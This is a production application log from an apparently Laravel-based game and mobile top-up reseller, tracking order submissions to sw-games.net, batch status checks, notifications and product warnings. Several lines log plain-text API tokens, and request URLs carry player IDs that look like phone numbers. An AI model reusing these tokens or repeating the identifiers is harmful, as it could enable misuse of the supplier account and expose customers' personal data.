[2026-03-24 10:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-hPR4-1774335834","ORD-1QD8gj-1774335886"]} 
[2026-03-24 10:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 10:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 10:06:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 10:06:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"count":2} 
[2026-03-24 10:06:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"count":2} 
[2026-03-24 10:06:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"user_id":1544,"notification_type":"order_approved","reference_id":178548} 
[2026-03-24 10:06:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"user_id":1544,"notification_type":"order_approved","reference_id":178547} 
[2026-03-24 10:06:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:06:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:06:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"processed":2,"errors":0} 
[2026-03-24 10:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478,"processed":2,"errors":0} 
[2026-03-24 10:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478} 
[2026-03-24 10:06:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1544  
[2026-03-24 10:06:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1544  
[2026-03-24 10:06:50] production.INFO: Constructing job for order: 178549  
[2026-03-24 10:06:53] production.INFO: Handling job for order: 178549  
[2026-03-24 10:06:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:06:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:06:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/544/params?qty=44000&uuid=3acc411c-2163-44ce-a998-d7f6355bdec2&Player_ID=91111997  
[2026-03-24 10:06:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/544/params?qty=44000&uuid=3acc411c-2163-44ce-a998-d7f6355bdec2&Player_ID=91111997","has_body":false} 
[2026-03-24 10:06:54] production.INFO: Operation sent successfully {"operation_id":163480,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0izd-1774336014","amount":15.7287680000000005264837454888038337230682373046875,"status":"processing","product":"Ahlan Amount","game":"AhlanChat","notes":[],"created_at":"2026-03-24 10:06:54"}},"processed_data":{"order_number":"ORD-0izd-1774336014","amount":15.7287680000000005264837454888038337230682373046875,"status":"processing","product":"Ahlan Amount","game":"AhlanChat"}} 
[2026-03-24 10:08:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1768  
[2026-03-24 10:08:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1768  
[2026-03-24 10:08:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00"} 
[2026-03-24 10:08:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","total_operations":2,"sites_count":1} 
[2026-03-24 10:08:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-0izd-1774336014"]} 
[2026-03-24 10:08:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:08:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 10:08:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0izd-1774336014","operation_id":163480} 
[2026-03-24 10:08:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:08:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 10:08:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:08:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"SvO6B9c7guwr5Z0mZ26L2CUhJzzotbho","execution_time":"2026-03-24 10:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:08:42] production.INFO: Constructing job for order: 178550  
[2026-03-24 10:08:45] production.INFO: Handling job for order: 178550  
[2026-03-24 10:08:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:08:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:08:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=03560e9e-922c-4638-a2b5-242abf8e080a&Player_ID=0985911343  
[2026-03-24 10:08:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=03560e9e-922c-4638-a2b5-242abf8e080a&Player_ID=0985911343","has_body":false} 
[2026-03-24 10:08:46] production.INFO: Operation sent successfully {"operation_id":163481,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fSM3YV-1774336126","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:08:46"}},"processed_data":{"order_number":"ORD-fSM3YV-1774336126","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:09:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1769  
[2026-03-24 10:09:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1769  
[2026-03-24 10:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01"} 
[2026-03-24 10:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","total_operations":3,"sites_count":2} 
[2026-03-24 10:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-0izd-1774336014"]} 
[2026-03-24 10:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 10:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 10:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"count":1} 
[2026-03-24 10:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"count":1} 
[2026-03-24 10:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"user_id":32,"notification_type":"order_approved","reference_id":178549} 
[2026-03-24 10:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":1,"errors":0} 
[2026-03-24 10:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":1,"errors":0} 
[2026-03-24 10:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-fSM3YV-1774336126"]} 
[2026-03-24 10:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 10:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 10:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"count":1} 
[2026-03-24 10:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"count":1} 
[2026-03-24 10:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"user_id":1056,"notification_type":"order_approved","reference_id":178550} 
[2026-03-24 10:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"processed":1,"errors":0} 
[2026-03-24 10:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481,"processed":1,"errors":0} 
[2026-03-24 10:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mt7ibL1tNbPf77rlNZF1aMk8yp1jWq3x","execution_time":"2026-03-24 10:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fSM3YV-1774336126","operation_id":163481} 
[2026-03-24 10:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:10:03] production.INFO: async() رجع: true  
[2026-03-24 10:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 10:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 10:10:26] production.INFO: Constructing job for order: 178551  
[2026-03-24 10:10:29] production.INFO: Handling job for order: 178551  
[2026-03-24 10:10:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:10:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:10:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=39272dc8-9ea7-47a9-a6e0-38a95d78cf76&Player_ID=0985911  
[2026-03-24 10:10:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=39272dc8-9ea7-47a9-a6e0-38a95d78cf76&Player_ID=0985911","has_body":false} 
[2026-03-24 10:10:29] production.INFO: Operation sent successfully {"operation_id":163482,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-I5vwqt-1774336229","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:10:29"}},"processed_data":{"order_number":"ORD-I5vwqt-1774336229","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:11:23] production.INFO: Constructing job for order: 178552  
[2026-03-24 10:11:26] production.INFO: Handling job for order: 178552  
[2026-03-24 10:11:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:11:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:11:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=7eaa9be0-98f9-49fd-b098-c4b46b34ed34&Player_ID=0985911343  
[2026-03-24 10:11:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=7eaa9be0-98f9-49fd-b098-c4b46b34ed34&Player_ID=0985911343","has_body":false} 
[2026-03-24 10:11:27] production.INFO: Operation sent successfully {"operation_id":163483,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-I39-1774336287","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:11:27"}},"processed_data":{"order_number":"ORD-I39-1774336287","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:12:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00"} 
[2026-03-24 10:12:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","total_operations":3,"sites_count":2} 
[2026-03-24 10:12:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:12:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:12:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:12:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:12:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:12:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:12:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-I5vwqt-1774336229","ORD-I39-1774336287"]} 
[2026-03-24 10:12:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:12:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
